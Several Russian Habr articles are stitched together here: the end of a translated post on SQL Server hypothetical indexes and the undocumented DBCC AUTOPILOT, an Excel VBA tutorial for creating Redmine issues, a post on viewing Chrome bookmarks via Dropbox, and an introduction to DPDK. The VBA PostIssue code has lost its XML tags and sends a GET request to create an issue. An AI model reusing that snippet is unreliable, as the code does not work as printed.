В результате будет создана статистика по этому индексу (построена гистограмма и рассчитана плотность) и появится запись в sys.indexes. Вы можете проверить это с помощью sp\_helpindex и DBCC SHOWSTATISTICS:
```
sp_HelpIndex DimCustomer
```
```
DBCC SHOW_STATISTICS(DimCustomer, ix_FirstName)
```
Бенджамин Неварес описывает эти гипотетические индексы [здесь](http://sqlblog.com/blogs/ben_nevarez/archive/2009/11/11/database-engine-tuning-advisor-and-the-query-optimizer.aspx).
P.S. Если вы создадите индекс используя WITH STATISTICS\_ONLY = 0, SQL Server не будет создавать статистику. Только гипотетический индекс.
##### DBCC AUTOPILOT и SET AUTOPILOT
Теперь у нас есть гипотетический индекс, как нам его использовать?
Можно попробовать указать его явно, с помощью хинта:
```
SELECT * FROM DimCustomer WITH(index=ix_FirstName)
WHERE FirstName = N'Eugene'
```
и получить ошибку:
`Msg 308, Level 16, State 1, Line 1
Index 'ix_FirstName' on table 'DimCustomer' (specified in the FROM clause) does not exist.`
А если указать Index ID?
```
SELECT * FROM DimCustomer WITH(index=5)
WHERE FirstName = N'Eugene'
```
Тоже самое:
`Msg 307, Level 16, State 1, Line 1
Index ID 5 on table 'DimCustomer' (specified in the FROM clause) does not exist.`
Так каким же образом мы можем создать план запроса, учитывающий этот индекс?
Вот здесь-то и начинается вся забава.
DBCC AUTOPILOT используется для того, чтобы сказать оптимизатору, что при составлении плана нужно учитывать существование определённого индекса. Эта DBCC, совместно с флагом SET AUTOPILOT ON позволяют нам использовать этот индекс.
Посмотрим на синтаксис этой команды:
```
SET AUTOPILOT ON|OFF
/*
DBCC TRACEON (2588)
DBCC HELP('AUTOPILOT')
*/
DBCC AUTOPILOT (typeid [, dbid [, {maxQueryCost | tabid [, indid [, pages [, flag [, rowcounts]]]]} ]])
```
##### Тестируем
Итак, посмотрим как это всё работает.
```
-- Current Cost = 0,762133
-- Clustered Index Scan on pk
SELECT * FROM DimCustomer
WHERE FirstName = N'Eugene'
GO
```
```
-- creating the index
-- DROP INDEX ix_FirstName ON DimCustomer
CREATE INDEX ix_FirstName ON DimCustomer(FirstName) WITH STATISTICS_ONLY = -1
GO
-- Looking at the info necessary in the DBCC AUTOPILOT comand
SELECT name, id, Indid, Dpages, rowcnt
FROM sysindexes
WHERE id = object_id('DimCustomer')
GO
```
```
DBCC AUTOPILOT (5, 9, 0, 0, 0, 0, 0) -- Starting with the TypeID 5
DBCC AUTOPILOT (6, 9, 37575172, 1, 0, 0, 0) -- Clustered Index with TypeID 6
DBCC AUTOPILOT (0, 9, 37575172, 2, 0, 0, 0) -- All other index with TypeID 0
DBCC AUTOPILOT (0, 9, 37575172, 3, 0, 0, 0) -- All other index with TypeID 0
DBCC AUTOPILOT (0, 9, 37575172, 5, 0, 0, 0) -- All other index with TypeID 0
GO
SET AUTOPILOT ON
GO
-- Query to create the estimated execution plan with the cost = 0,0750712
SELECT * FROM dbo.DimCustomer
WHERE FirstName = N'Eugene'
OPTION (RECOMPILE)
GO
SET AUTOPILOT OFF
GO
```
*прим. переводчика: Что из себя представляет параметр TypeID, естественно, неизвестно, в другой своей статье, ссылка на которую есть ниже, тот же самый автор, пишет, что для использования определённого индекса в режиме «автопилота», нужно указывать 0*
Так же вы можете обмануть оптимизатор, передавая произвольные значения в DBCC AUTOPILOT, в качестве параметров Pages и RowCount. Если же передавать их равными нулю, будут использованы значения такие же, как для кластерного индекса.
##### Выводы
В описании этих возможностей остаётся достаточно «белых пятен», но я уверен, что что этот пост будет хорошей отправной точкой для ваших собственных тестов.
Я до сих пор играюсь с этой штукой, так что вы можете спокойно задавать мне вопросы, или делиться своими открытиями.
И вам ведь не нужно говорить, что вы не должны использовать всё это на рабочих серверах? Это недокументированная возможность, так что никто не может вам точно сказать что и как она делает, до тех пор пока парни из Microsoft не сделают её официально публичной и документированной.
*От переводчика:
Присоединяясь к автору, напоминаю о том, что использование недокументированного функционала в рабочем окружении может привести к нежелательным последствиям.
Так же, хочу добавить ещё одну ссылку на того же автора: [Hypothetical Indexes on SQL Server](http://www.simple-talk.com/sql/database-administration/hypothetical-indexes-on-sql-server/). Это более новая, расширенная версия того же поста. Почему я перевёл не её? Потому что суть у них одинаковая, главное отличие — это то, что в новой версии, он предлагает сборку CLR, для более просто использования DBCC AUTOPILOT, что, на мой взгляд, не существенно.
Весь код и все скриншоты взяты мной у автора, на моём SQL Server 2005 SP4 он потребовал минимального допиливания (например использования WITH STATISTICS\_ONLY вместо WITH STATISTICS\_ONLY = -1), так что всё должно работать на SQL Server 2005 и старше (именно, начиная с 2005-го сервера, используется Database Tuning Advisor, который, предположительно, и использует этот функционал).
Как обычно, любые пожелания и исправления по переводу и стилистике приветствуются.* | https://habr.com/ru/post/168597/ | null | ru | null |
# Excel «Всемогущий» и Redmine: как генерировать задачи прямо в Excel
В далёких от IT проектных организациях Excel часто используется в качестве инструмента обработки бог весть каких данных.
Передо мной встала задача в очень сжатые сроки наладить в Excel мониторинг весьма специфичного проекта с попутной выдачей заданий в проектные отделы. Касательно мониторинга ТЗ было более-менее определено и весь функционал был реализован средствами VBA самого Excel.
С выдачей заданий всё было не так однозначно. Поскрипев креслом, я решил попробовать отправлять задачи в Redmine прямо из Excel, получая обратно гиперссылку и номер задачи.
Статья написана инженером-проектировщиком для таких же новичков в программировании, автоматизирующих подручными средствами рутинную работу. Буду рад любым замечаниям!
### Зачем это вообще?
Так получилось, что Excel в отрасли проектирования де-факто такой же стандарт при обмене между сотрудничающими организациями всевозможными списками документации и спецификациями, как и AutoCAD для чертежей.
Раньше я думал, что так только в нашей организации, а продвинутые конторы используют умные инструменты и базы, исключающие дублирование и нарушения целостности в данных. Но на деле оказалось, что даже большие компании на многомиллиардных проектах используют Excel в режиме «туда-сюда» при обмене данными и технической документацией с контрагентами.
В таких проектах одновременно в разработке могут быть сотни комплектов технической документации. К нам, например, регулярно присылают документы с прилагаемой экселевской таблицей на ~4500 строк, где каждая строка определяет текущий статус конкретного документа. При достижении определенного статуса каждый документ должен быть запущен в работу: переведён, согласован, адаптирован под ГОСТ и т.д.
Такие однотипные задачи удобно запускать в Redmine прямо из Excel, формируя их в соответствии с данными из таблицы.
Ко всему выше сказанному, какой-никакой опыт написания костылей на vba у меня уже был, и примерный путь решения проблемы в голове уже крутился.
Я не буду подробно останавливаться на установке и настройке самого Redmine. Те, кто ещё не сталкивался с этой системой управления проектами, могут попробовать [demo](http://demo.redmine.org), или скачать и запустить стак от [bitnami](https://bitnami.com/stack/redmine). Документацию по работе с виртуальной машиной Bitnami Redmine можно посмотреть [тут](https://docs.bitnami.com/virtual-machine/apps/redmine/).
Источник информации по API — [Redmine API](http://www.redmine.org/projects/redmine/wiki/Rest_api).
### Простой пример создания задачи
Итак, заходим в редактор vba в Excel, создаем новый модуль и вписываем в него следующее:
```
' Пользователя Redmine, от имени которого будет создана задача,
' можно не указывать в тексте url, тогда окно с запросом
' логина и пароля будет выведено автоматически
Const REDMINE_URL = "http://redmine_url"
' но можно и жестко задать
'Const REDMINE_URL = "http://user:password@redmine_url
' гиперссылка и номер задачи, которые нам вернет функция PostIssue
' (к сожалению, я не нашел, как вернуть эти значения в одной функции
' без глобальных переменных, не строя дополнительных массивов)
Public issue_url, issue_id As String
Sub Redmine_Create_Issue()
Dim ReqStatus As Boolean
Dim PROJECT_ID, TRACKER_ID, ASSIGNED_TO_ID, CATEGORY_ID As Integer
Dim Subject, Body, DUE_DATE, REDMINE_API_KEY As String
' ID должны быть из базы Redmine
' Позже я опишу, как их можно вытащить из Redmine
PROJECT_ID = 32
TRACKER_ID = 1
ASSIGNED_TO_ID = 20 'ID пользователя, на которого будет назначена задача
' Сюда можно вписать любые данные из нашей таблицы
Subject = "Тема задачи"
Body = "Текст задачи"
' Плановая дата завершения задачи
DUE_DATE = Format(ActiveSheet.Cells(ActiveCell.Row, 12), "yyyy-mm-dd")
'REDMINE_API_KEY = "e11234567891234567891234567891234567bce0" ' если используется API key
' Запускаем задачу в редмайн при помощи функции
ReqStatus = PostIssue(PROJECT_ID, TRACKER_ID, ASSIGNED_TO_ID, Subject, Body, DUE_DATE, _
REDMINE_API_KEY, CATEGORY_ID)
' Проверяем, что задача отправлена
If ReqStatus <> False Then
MsgBox "Redmine: Ok, задача отправлена"
' Добавим в нашу таблицу во 2й столбец гипперссылку на созданную задачу
ActiveSheet.Cells(ActiveCell.Row, 2) = issue_id
ActiveSheet.Hyperlinks.Add Range("B" & ActiveCell.Row), issue_url, "", _
"Открыть задачу" & issue_url
' Дату создания задачи вписываем в 11й столбец на листе)
ActiveSheet.Cells(ActiveCell.Row, 11) = Date
Else
MsgBox "Redmine: Ошибка, обратитесь к администратору"
End If
End Sub
' Сама функция отправки задачи в формате xml
Function PostIssue(ByVal PROJECT_ID As Integer, ByVal TRACKER_ID As Integer, _
ByVal ASSIGNED_TO_ID As Integer, ByVal Subject As String, _
ByVal Body As String, ByVal DUE_DATE As String, _
ByVal REDMINE_API_KEY As String, ByVal CATEGORY_ID As String)
Dim xhr
Dim RequestURL As String
Dim RequestBody As String
RequestURL = REDMINE_URL & "/issues.xml?format=xml"
' если используется API key
'RequestURL = REDMINE_URL & "/issues.xml?format=xml&key=" & REDMINE_API_KEY
Set xhr = CreateObject("Microsoft.XMLHTTP")
xhr.Open "GET", RequestURL, False
xhr.SetRequestHeader "Content-Type", "text/xml"
RequestBody = "xml version=" & Chr(34) & "1.0" & Chr(34) & "?"
RequestBody = RequestBody & ""
RequestBody = RequestBody & "" & PROJECT\_ID & ""
RequestBody = RequestBody & "" & TRACKER\_ID & ""
RequestBody = RequestBody & "" & ASSIGNED\_TO\_ID & ""
RequestBody = RequestBody & "" & Subject & ""
RequestBody = RequestBody & "" & Body & ""
RequestBody = RequestBody & "" & DUE\_DATE & ""
RequestBody = RequestBody & ""
' Проверяем, что задача отправлена
xhr.Send (RequestBody)
If xhr.Status = 201 Then
PostIssue = True
Else
PostIssue = False
End If
' гиперссылка и номер задачи
issue_url = xhr.getResponseHeader("location")
issue_id = Right(issue_url, Len(issue_url) - InStrRev(issue_url, "/"))
End Function
```
*Примечание: для авторизации в Redmine можно использовать логин и пароль, или ключ API, который можно посмотреть в профиле. В примере выше используется логин-пароль, строки с ключом закомментированы.*
Всё хорошо, но как быть с параметрами, которые мы можем узнать только из базы данных Redmine? Я имею в виду ID для проекта, трекера, и на кого назначена задача.
В моем случае все эти параметры связаны с данными из таблицы (проект, его статус, ответственный отдел), поэтому я поступил просто, хоть и неправильно с точки зрения универсальности. Я подсмотрел ID в базе Redmine через phpMyAdmin и создал на отдельном листе табличку настроек, где прописал эти ID для нужных мне параметров из основной таблицы. Как результат, пользователю нужно только выбрать нужную строку в таблице и нажать кнопку отправки задачи, никаких дополнительных диалоговых окон.
Я немного упростил реальную логику для наглядности, но смысл тот же — берем значение из текущей строки и сравниваем по таблице с ID.
Как видите, в моем случае вписывать ID совсем немного: проект с несколькими подпроектами, четыре трекера, и чуть больше дюжины ответственных руководителей отделов, на которых изначально должна назначаться задача.
Таким образом, вместо:
```
PROJECT_ID = 32
TRACKER_ID = 1
ASSIGNED_TO_ID = 20
```
Я вписал как-то так:
```
PROJECT_ID = 0
TRACKER_ID = 0
ASSIGNED_TO_ID = 0
Set ID_WS = Application.ThisWorkbook.Sheets("ID")
last_row = ID_WS.Cells(Rows.Count, 1).End(xlUp).Row
For i = 2 To last_row
If ActiveSheet.Cells(ActiveCell.Row, 3) = ID_WS.Cells(i, 2) Then
PROJECT_ID = ID_WS.Cells(i, 3)
End If
If ActiveSheet.Cells(ActiveCell.Row, 4) = ID_WS.Cells(i, 5) Then
TRACKER_ID = ID_WS.Cells(i, 6)
End If
If ActiveSheet.Cells(ActiveCell.Row, 10) = ID_WS.Cells(i, 8) Then
ASSIGNED_TO_ID = ID_WS.Cells(i, 9)
End If
If PROJECT_ID <> 0 And TRACKER_ID <> 0 And ASSIGNED_TO_ID <> 0 Then Exit For
Next
```
### Парсинг xml
Более правильный и сложный подход — считывать нужные данные прямо из Redmine. Тут нам снова поможет API.
Нам понадобятся следующие функции:
**XMLtoArray** — функция парсит xml начиная с заданного узла. Требует подключения дополнительной библиотеки Microsoft XML, поэтому если кто знает, как сделать это проще, подскажите, пожалуйста.
**XMLtoArray**Подключение библиотеки **Microsoft XML** через **Tools** --> **Reference**
```
Function XMLtoArray(ByVal RequestURL, ByVal ElementsByTagName As String, ByVal arr) As Variant
' функция получает xml и переводит его в массив
' ElementsByTagName - начальный xml узел для обработки
' arr - массив узлов и аттрибутов
Dim strXML As String
Dim currNode As IXMLDOMNode
If Not IsArray(arr) Then MsgBox "Это не массив!", vbCritical: Exit Function
' делаем запрос и получаем xml
Set xhr = CreateObject("Microsoft.XMLHTTP")
xhr.Open "GET", RequestURL, False
xhr.SetRequestHeader "Content-Type", "text/xml"
xhr.Send
strXML = xhr.responseText
' парсим xml
' необходимо подключить библиотеку Microsoft XML, v6.0 (Tools --> Reference)
Set xmlParser = CreateObject("MSXML2.DOMDocument")
If Not xmlParser.LoadXML(strXML) Then
Err.Raise xmlParser.parseError.ErrorCode, , XDoc.parseError.reason
End If
Set colNodes = xmlParser.getElementsByTagName(ElementsByTagName)
ReDim newarr(0 To colNodes.Length, 0 To UBound(arr))
N = 0
For Each node_item In colNodes
For i = 0 To UBound(arr)
If Not arr(i) Like "*@*" Then
If Not IsNull(node_item.SelectSingleNode(arr(i))) Then
newarr(N, i) = node_item.SelectSingleNode(arr(i)).Text
End If
Else
For Each nodeChild In node_item.ChildNodes
If part1(arr(i)) = nodeChild.nodeName Then
newarr(N, i) = nodeChild.getAttribute(part2(arr(i)))
If nodeChild.ChildNodes.Length > 0 Then
p = 0
For Each nodeChildChild In nodeChild.ChildNodes
If p = 0 Then
newarr(N, i) = nodeChildChild.getAttribute(part2(arr(i)))
Else
newarr(N, i) = newarr(N, i) & "@" & nodeChildChild.getAttribute(part2(arr(i)))
End If
p = 1
Next
End If
End If
Next
End If
Next
N = N + 1
Next
XMLtoArray = newarr
End Function
```
**SWAP** — функция перестановки столбцов в двумерном массиве (взял [отсюда](http://excelvba.ru/code/ArraySwapColumns)).
**SWAP**
```
Function SWAP(ByVal arr As Variant, ByVal NewColumnsOrder$) As Variant
' Функция принимает в качестве параметра двумерный массив arr (для перестановки столбцов)
' и текстовую строку NewColumnsOrder с новым порядком столбцов в формате ",,5,6,8,,9-15,18,2,9-11,,1,4,,21,"
' Возвращает массив, в котором столбцы переставлены в нужном порядке
On Error Resume Next
cols = Split(Replace(NewColumnsOrder$, " ", ""), ","): Dim n As Long: ReDim colArr(0 To 0)
For i = LBound(cols) To UBound(cols)
Select Case True
Case cols(i) = "", Val(cols(i)) < 0
colArr(UBound(colArr)) = -1: ReDim Preserve colArr(0 To UBound(colArr) + 1)
Case IsNumeric(cols(i))
colArr(UBound(colArr)) = cols(i): ReDim Preserve colArr(0 To UBound(colArr) + 1)
Case cols(i) Like "*#-#*"
spl = Split(cols(i), "-")
If UBound(spl) = 1 Then
If IsNumeric(spl(0)) And IsNumeric(spl(1)) Then
For j = Val(spl(0)) To Val(spl(1)) Step IIf(Val(spl(0)) > Val(spl(1)), -1, 1)
colArr(UBound(colArr)) = j: ReDim Preserve colArr(0 To UBound(colArr) + 1)
Next j
End If
End If
End Select
Next i
ReDim Preserve colArr(0 To UBound(colArr) - 1)
ColumnsArray = colArr
ReDim tmpArr(LBound(arr, 1) To UBound(arr, 1), LBound(arr, 2) To UBound(ColumnsArray) + 1)
For j = LBound(ColumnsArray) To UBound(ColumnsArray)
If Val(ColumnsArray(j)) >= 0 Then
For i = LBound(arr, 1) To UBound(arr, 1): tmpArr(i, j + LBound(arr, 2)) = arr(i, Val(ColumnsArray(j))): Next i
End If
Next j
SWAP = tmpArr
End Function
```
Теперь можно делать запросы в Redmine:
Перечень проектов:
```
RequestURL = REDMINE_URL & "/projects.xml?include=trackers"
Arr_childNodes_projects = Array("id", "name", "trackers@id", "trackers@name", _
"identifier", "description", "parent@id", "parent@name", _
"status", "is_public", "created_on", "updated_on")
Arr_projects = XMLtoArray(RequestURL, "project", Arr_childNodes_projects)
Arr_projects_SWAP = SWAP(Arr_projects, 1)
```
На выходе получаем два массива — массив со всеми полученными данными, и урезанный SWAP массив только с нужными нам столбцами, в данном случае, с именами проектов, которые можно выводить в форму для пользователя.
Аналогичным образом получаем:
**Статусы задач**
```
RequestURL_status = REDMINE_URL & "/issue_statuses.xml"
Arr_childNodes_status = Array("id", "name", "is_closed")
Arr_statuses = XMLtoArray(RequestURL_status, "issue_status", Arr_childNodes_status)
Arr_statuses_SWAP = SWAP(Arr_statuses, 1)
```
**Приоритеты задач**
```
RequestURL_priorities = REDMINE_URL & "/enumerations/issue_priorities.xml"
Arr_childNodes_priorities = Array("id", "name", "is_default")
Arr_priorities = XMLtoArray(RequestURL_priorities, "issue_priority", Arr_childNodes_priorities)
Arr_priorities_SWAP = SWAP(Arr_priorities, 1)
```
**Участников проекта**
```
RequestURL_memberships = REDMINE_URL & "/projects/" & Arr_projects(i, 0) & "/memberships.xml?limit=300"
Arr_childNodes_memberships = Array("user@id", "user@name", "project@id", "project@name", "roles@id", "roles@name")
Arr_memberships = XMLtoArray(RequestURL_memberships, "membership", Arr_childNodes_memberships)
Arr_memberships_SWAP = SWAP(Arr_memberships, 1)
```
где **Arr\_projects(i, 0)** — **ID** конкретного проекта.
**Задачи проекта**
```
RequestURL_issues = REDMINE_URL & "/issues.xml?project_id=" & Arr_projects(i, 0)
Arr_childNodes_issues = Array("id", "subject")
Arr_issues = XMLtoArray(RequestURL_issues, "issue", Arr_childNodes_issues)
Arr_issues_SWAP = SWAP(Arr_issues, "0,1")
ComboBox_parent_issue.List = Arr_issues_SWAP
```
где **Arr\_projects(i, 0)** — **ID** конкретного проекта.
Этих данных вполне достаточно для реализации функционала создания задачи, например, при помощи такой формы:
Эта форма делалась под Word (сути не меняет, так как код vba тот же и в Excel) для другого проекта, с параллельной генерацией задания на печать и подпись для наших бюрократов. Но это, как говорится, уже другая история. | https://habr.com/ru/post/318198/ | null | ru | null |
# Онлайн доступ к закладкам Google Chrome
Когда-то столкнулся с проблемой просмотра закладок Google Chrome онлайн. К сожалению, Google пока не дает возможности просмотра закладок браузера через веб, как это делает, например, Opera.
Одним из вариантов решения проблемы было использование сервиса [Xmarks](http://www.xmarks.com/). Попробовал. Не понравилось. Почему-то у меня всегда проблемы возникали при синхронизации: то в браузере закладки как-то перемешаются, то на сервер они не идут. В общем, отбросил этот вариант.
Стал искать где же они хранятся на компьютере. Нашел закладки в файле ``C:\Users\\AppData\Local\Google\Chrome\User Data\Default\Bookmarks. Оказывается они сохраняются в формате json, что очень обрадовало. Сразу же созрела идея сделать HTML страничку в дропбоксе, которая будет показывать мои закладки.
Добавил в планировщик задач копирование оригинального файла в дропбокс и сделал на страничку для просмотра закладок в виде дерева и с возможностью поиска по закладкам (как по названиям так и по URL).
Все необходимые файлы можно найти на гитхабе или просто скачать zip архив.
###### Инструкция по установке:
1. Создаем папку *bookmarks* в публичной директории Dropbox’а и заливаем туда файлы
2. Добавьте в планировщик задач для вашей ОС копирование файла Bookmarks в папку Дропбокса. Для пользователей Windows файл находится по этому адресу: ``C:\Users\\AppData\Local\Google\Chrome\User Data\Default\Bookmarks, а для Linux юзеров — /home//.config/google-chrome/Default/Bookmarks (нужно именно копировать файл, символические или хард-линки не работают правильно с Дропбоксом)`
Ваши закладки доступны по адресу: `dl.dropbox.com/u/bookmarks/index.html`
В связи с тем, что [Дропбокс планирует отключить публичную папку](http://habrahabr.ru/post/145864/), рекомендую зарегистрировать там акаунт пока не поздно.
А если вы знаете аналоги дропбокса с публичной папкой, то подскажите их в комментариях или в ответах на [этот](http://habrahabr.ru/post/145864/) вопрос.
И конечно же вы можете использовать свой хостинг для этих файлов.
###### Конфигурация:
Можно включить или отключить favicons поставив значение переменной `loadFavicons` в true или false в файле index.html на 15 строчке. Без иконок страница загружается быстрее.
Также можно задать свой путь для файла закладок. Для этого в index.html измените вызов метода `CromeBookmarks` - в первом параметре передайте свое значение, например так:
```
$bm.CromeBookmarks('/path/to/Bookmarks', {
loadFavicons: true
});
```
Файл закладок должен быть расположен на том же домене, что и HTML страничка, иначе оно не будет работать.
Результат выглядит примерно вот так:
[](http://habrastorage.org/storage2/85c/810/5d9/85c8105d930117daefa2141bd9e24e7d.png)
**UPD.** Вместо дропбокса можно использовать [sugarsync](https://www.sugarsync.com/). По слухам он тоже умеет показывать html страницы.
**UPD2.** Только что на Google I/O анонсили выход Chrome для iOS. Так что это извращение с закладками наверное больше не нужно тем, кому оно могло бы понадобиться.``` | https://habr.com/ru/post/146656/ | null | ru | null |
# Использование DPDK для обеспечения высокой производительности прикладных решений (часть 0)
Kernel is the root of all evil ⊙.☉
==================================
Сейчас вряд ли кого-то удивить использованием [epoll()](https://ru.wikipedia.org/wiki/Epoll)/[kqueue()](http://www.opennet.ru/base/dev/kqueue_overview.txt.html) в поллерах событий. Для решения проблемы [C10K](https://ru.wikipedia.org/wiki/Проблема_10000_соединений) cуществует довольно много разнообразных решений ([libevent](http://libevent.org)/[libev](http://software.schmorp.de/pkg/libev.html)/[libuv](https://github.com/libuv/libuv)), с разной производительностью и довольно высокими накладными расходами. В статье рассматривается использование [DPDK](http://dpdk.org) для решения задачи обработки 10 миллионов соединений (С10M), и достижение максимального прироста производительности при обработке сетевых запросов в распространённых прикладных решениях. Главной особенностью подобной задачи является делегирование ответственности обработки трафика с ядра ОС в пользовательское пространство (userspace), точный контроль обработки прерываний и каналов [DMA](http://habrahabr.ru/post/37455/), использование [VFIO](https://www.kernel.org/doc/Documentation/vfio.txt), и много других не очень понятных слов. В качестве целевого прикладного окружения было выбрано Java [Netty](http://netty.io) с использованием [Disruptor](http://habrahabr.ru/post/130113/) паттерна и [offheap кэширования](http://habrahabr.ru/company/odnoklassniki/blog/148139/).
Если кратко — это очень эффективный способ обработки трафика, по производительности близкий к существующим аппаратным решениям. Накладные расходы от использования средств предоставленных самим ядром ОС — слишком велики, и для подобных задач оно является источником большинства проблем. Сложность заключается в поддержке со стороны драйверов целевых сетевых интерфейсов, и архитектурных особенностях приложений в целом.
В статье очень детально рассмотрены вопросы установки, настройки, использования, отладки, профилирования и разворачивания [DPDK](http://dpdk.org) для построения высокопроизводительных решений.
Почему [DPDK](http://dpdk.org) ?
--------------------------------
Существуют ещё [Netmap](http://info.iet.unipi.it/~luigi/netmap/), [OpenOnload](http://www.openonload.org) и [pf\_ring](http://www.ntop.org/products/packet-capture/pf_ring/).
#### netmap
Основной задачей при разработке *netmap* являлась разработка простого в использовании решения, по этому предоставляется наиболее распространённый синхронный интерфейс [select()](https://www.opennet.ru/cgi-bin/opennet/man.cgi?topic=select&category=2), что позволяет значительно упростить портирование существующих решений. С точки зрения гибкости и абстрагирования железа *netmap*'у явно не хватает функционала. Тем не менее это наиболее доступное и распространённое решение (даже под ~~богомерзким~~ Windows). Сейчас netmap поставляется прямо [в составе freebsd](https://www.freebsd.org/cgi/man.cgi?query=netmap&sektion=4) и есть довольно неплохая поддержка для стороны [libpcap](https://github.com/luigirizzo/netmap-libpcap). Поддерживается силами Luigi Rizzo и Alessio Faina, является проектом Пизанского Университета. Естественно ни о какой коммерческой поддержке речи не идёт, хотя и сделано так, что отвалиться нечему.
#### pf\_ring
*pf\_ring* появился как средство «разгона» [pcap](https://ru.wikipedia.org/wiki/Pcap)'a, и так уж исторически сложилось что на момент разработки не было готовых к использованию, стабильных решений. Явных преимуществ перед тем же netmap'ом у него не много, но есть поддержка *IOMMU* в проприетарной [ZC](http://www.ntop.org/products/packet-capture/pf_ring/pf_ring-zc-zero-copy/) версии. Сам по себе продукт издавна не отличался высокой производительностью или качеством, является не более чем средством сбора и анализа *pcap* дампов и не предназначался для обработки трафика в пользовательских приложениях. Главной особенностью *pf\_ring*'a *ZC* является полная независимость от существующих драйверов сетевых интерфейсов.
#### OpenOnload
*OpenOnload* узкоспециализированный высокопроизводительный, ~~древний~~ сетевой стек от [SolarFlare](http://www.solarflare.com). Они занимаются выпуском брэндированных 10/40GbE адаптеров для *HP*, *IBM*, *Lenovo*, *Stratus*. К сожалению сам *OpenOnload* поддерживает не все существующие адаптеры *SolarFlare*. Главной особенностью *OpenOnload* является полная замена API *BSD* cокетов, в том числе и *epoll()* механизма. Да, теперь ваш *nginx* может [одолеть планку в 38Gbit](http://www.solarflare.com/Content/UserFiles/Documents/Solarflare_OpenOnload_TechBrief.pdf) без каких либо сторонних модификаций. *SolarFlare* предоставляет коммерческую поддержку и у неё очень много респектабельных клиентов. Я не знаю как обстоят дела с виртуализацией в *OpenOnload*, но если вы сидите на контейнерах за *nginx* балансером — это самое простое и доступное решение, без лишних заморочек. Покупайте, пользуйтесь, молитесь что б не отвалилось, и можете дальше не читать.
#### Другие
Есть ещё решения [Napatech](http://www.napatech.com/products), но, на сколько мне известно, у них там просто библиотека со своим API, без вундервафель как у *SolarFlare*, по этому их решения менее распространены.
Естественно я рассмотрел не все существующие решения — я просто не мог со всем столкнуться, но я не думаю что они могут сильно отличаться от того что описано выше.
#### DPDK
Исторически так сложилось, что наиболее распространёнными адаптерами для работы c 10/40GbE являются адаптеры *Intel* обслуживаемые *e1000* *igb* *ixgbe* *i40e* драйверами. По этому они являются частыми целевыми адаптерами для высокопроизводительных средств обработки трафика. Так было с *Netmap* и *pf\_ring*, разработчики которых являются ~~возможно хорошими~~ [знакомыми](http://www.ntop.org/pf_ring/dna-vs-netmap/). Было бы странно если бы *Intel* не занялась разработкой собственного средства обработки трафика — ним является *DPDK*.
*DPDK* это OpenSource проект *Intel*'a, на основе которого были построены целые конторы ([6WIND](http://www.6wind.com/products/)) и для которого производители изредка предоставляют драйвера, например [Mellanox](http://www.mellanox.com/page/products_dyn?product_family=209&mtag=pmd_for_dpdk). Естественно, коммерческая поддержка решений на его основе просто замечательная, её предоставляет довольно большое количество вендоров (6WIND, Aricent, ALTEN Calsoft Labs, Advantech, Brocade, Radisys,Tieto, Wind River, Lanner, Mobica)
*DPDK* имеет наиболее широкий функционал, и лучше всего абстрагирует существующее железо.
Он не создан удобным — он создан достаточно гибким для достижения высокой, возможно максимальной, производительности.
### Список поддерживаемых драйверов и карт
* *Chelsio* cxgbe ([Terminator 5](http://www.chelsio.com/nic/terminator-5-asic/))
* *Cisco* enic (вся серия [Virtual Interface Card](http://www.cisco.com/c/en/us/products/interfaces-modules/ucs-virtual-interface-card-1385/index.html))
* *Emulex* oce ([OneConnect OCe14000](http://www.emulex.com/products/ethernet-networking-storage-connectivity/ethernet-networking-adapters/emulex-branded/selection-guide/) family)
* *Mellanox* mlx4 ([ConnectX-3](http://www.mellanox.com/page/products_dyn?product_family=162&mtag=connectx_3_pro_en_card), [ConnectX-3 Pro](http://www.mellanox.com/page/products_dyn?product_family=127&mtag=connectx_3_en))
* *QLogic/Broadcom* bnx2x ([NetXtreme II](http://www.cisco.com/c/dam/en/us/products/collateral/servers-unified-computing/ucs-b-series-blade-servers/1CS57711-TB100-D5.pdf))
*Intel* все существующие в ядре linux'a драйвера
* e1000 (82540, 82545, 82546)
* e1000e (82571..82574, 82583, ICH8..ICH10, PCH..PCH2)
* igb (82575..82576, 82580, I210, I211, I350, I354, DH89xx)
* ixgbe (82598..82599, X540, X550)
* i40e (X710, XL710)
* fm10k
Все они портированы в виде *Poll Mode* драйверов для выполнения в пользовательском пространстве (*usermode*).
### Что-то ещё ?
Вообще-то да, ещё есть поддержка
* виртуализации на основе *QEMU*, *Xen*, *VMware ESXi*
* паравиртуализируемых сетевых интерфейсов на основе копирования буферов ~~хоть это и зло~~
* *AF\_PACKET* сокетов и *PCAP* дампов для тестирования
* сетевых адаптеров с кольцевыми буферами
Архитектура DPDK
================
\* это он у меня в голове так фунциклирует, реальность может чуть отличаться
Сам DPDK состоит из набора библиотек (содержимое папочки *lib*):
* librte\_**acl** — списки контроля доступа ~~КЭП~~ для [VLAN](http://xgu.ru/wiki/VLAN)'ов
* librte\_**compat** — совместимость экспортируемых бинарных интерфейсов (ABI)
* librte\_**ether** — управление ethernet адаптером, работа с ethernet фреймами
* librte\_**ivshmem** — совместное использование (sharing) буферов с помощью ivshmem
* librte\_**kvargs** — парсинг аргументов ключ-значение
* librte\_**mbuf** — менеджмент буферов сообщений (*message buffer — mbuf*)
* librte\_**net** — кусочек BSD'шного IP стека c ARP/IPv4/IPv6/TCP/UDP/SCTP
* librte\_**power** — управление энергопотреблением и частотами (*cpufreq*)
* librte\_**sched** — QOS иерархический планировщик
* librte\_**vhost** — виртуальные сетевые адаптеры
* librte\_**cfgfile** — парсинг конфигурационных файлов
* librte\_**distributor** — средство распредления пакетов между существующими задачами
* librte\_**hash** — хэш-функции
* librte\_**jobstats** — измерение времени выполнения задач
* librte\_**lpm** — Longest Prefix Match функции, используются для поиска по таблицам форвардинга
* librte\_**mempool** — менеджер пулов объектов в памяти
* librte\_**pipeline** — конвеер пакетного фреймворка
* librte\_**reorder** — сортировка пакетов в буфере сообщений
* librte\_**table** — реализация таблиц поиска (lookup table)
* librte\_**cmdline** — парсинг аргументов командой строки
* librte\_**eal** — платформо-зависимое окружение
* librte\_**ip\_frag** — фрагментация IP пакетов
* librte\_**kni** — API для взаимодействием с KNI
* librte\_**malloc** — нетрудно догадаться
* librte\_**meter** — QOS метрика
* librte\_**port** — реализация портов для сетевых пакетов
* librte\_**ring** — кольцевые lock-free FIFO очереди
* librte\_**timer** — таймеры и счётчики
UIO драйверов (*lib/librte\_eal/linuxapp*) сетевых интерфейсов под linux:
* uio\_igb — ethernet сетевой адаптер
* xen\_dom0 — понятно из названия
и BSD
* nic\_uio
